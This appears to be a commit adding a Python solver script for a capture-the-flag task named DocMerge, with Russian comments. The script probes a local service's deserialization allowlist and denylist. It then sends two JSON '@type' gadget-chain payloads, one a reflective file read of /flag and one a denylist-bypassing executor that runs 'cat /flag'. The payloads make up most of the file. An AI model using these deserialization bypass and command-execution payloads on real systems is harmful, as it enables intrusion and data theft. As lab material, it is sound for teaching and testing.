Init. Commit
This commit is contained in:
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Автоматическое решение таска DocMerge (только stdlib).
|
||||
|
||||
Запуск: python solve.py http://localhost:18112
|
||||
"""
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}")
|
||||
|
||||
|
||||
def post_merge(base, payload):
|
||||
data = json.dumps(payload).encode()
|
||||
req = urllib.request.Request(
|
||||
base + "/api/merge", data=data,
|
||||
headers={"Content-Type": "application/json"}, method="POST")
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=20) as resp:
|
||||
return resp.status, resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
|
||||
|
||||
def get(base, path):
|
||||
try:
|
||||
with urllib.request.urlopen(base + path, timeout=20) as resp:
|
||||
return resp.status, resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
|
||||
|
||||
def fingerprint(base):
|
||||
"""Три зонда: denylist / класс вне allowlist / разрешённый пакет."""
|
||||
probes = [
|
||||
("denylist: java.lang.Runtime",
|
||||
{"@type": "java.lang.Runtime"}),
|
||||
("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin",
|
||||
{"@type": "com.docmerge.plugins.NoSuchPlugin"}),
|
||||
("вне allowlist: java.io.File",
|
||||
{"@type": "java.io.File"}),
|
||||
]
|
||||
for label, payload in probes:
|
||||
status, body = post_merge(base, payload)
|
||||
marker = ""
|
||||
try:
|
||||
marker = json.loads(body).get("message", "")[:120]
|
||||
except ValueError:
|
||||
marker = body[:120]
|
||||
print(f"[*] probe ({label}) -> HTTP {status}: {marker}")
|
||||
|
||||
|
||||
def exploit_script_filter(base):
|
||||
"""Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag')."""
|
||||
payload = {
|
||||
"title": "quarterly-report",
|
||||
"documents": ["doc one", "doc two"],
|
||||
"renderer": {
|
||||
"template": "default",
|
||||
"filters": [
|
||||
{
|
||||
"@type": "com.docmerge.plugins.ScriptFilter",
|
||||
"className": "com.docmerge.util.PreviewUtil",
|
||||
"methodName": "readFile",
|
||||
"argument": "/flag",
|
||||
}
|
||||
],
|
||||
},
|
||||
}
|
||||
return post_merge(base, payload)
|
||||
|
||||
|
||||
def exploit_legacy_executor_v2(base):
|
||||
"""Запасная цепочка: наследник denylist-класса проходит equals-проверку."""
|
||||
payload = {
|
||||
"title": "quarterly-report",
|
||||
"renderer": {
|
||||
"filters": [
|
||||
{
|
||||
"@type": "com.docmerge.plugins.LegacyExecutorV2",
|
||||
"command": "cat /flag",
|
||||
}
|
||||
]
|
||||
},
|
||||
}
|
||||
return post_merge(base, payload)
|
||||
|
||||
|
||||
def main():
|
||||
base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/")
|
||||
print(f"[*] target: {base}")
|
||||
|
||||
status, body = get(base, "/api/plugins")
|
||||
print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}")
|
||||
|
||||
fingerprint(base)
|
||||
|
||||
print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')")
|
||||
status, body = exploit_script_filter(base)
|
||||
match = FLAG_RE.search(body)
|
||||
if match:
|
||||
print(f"[+] flag: {match.group(0)}")
|
||||
return
|
||||
|
||||
print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2")
|
||||
status, body = exploit_legacy_executor_v2(base)
|
||||
match = FLAG_RE.search(body)
|
||||
if match:
|
||||
print(f"[+] flag: {match.group(0)}")
|
||||
return
|
||||
|
||||
print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user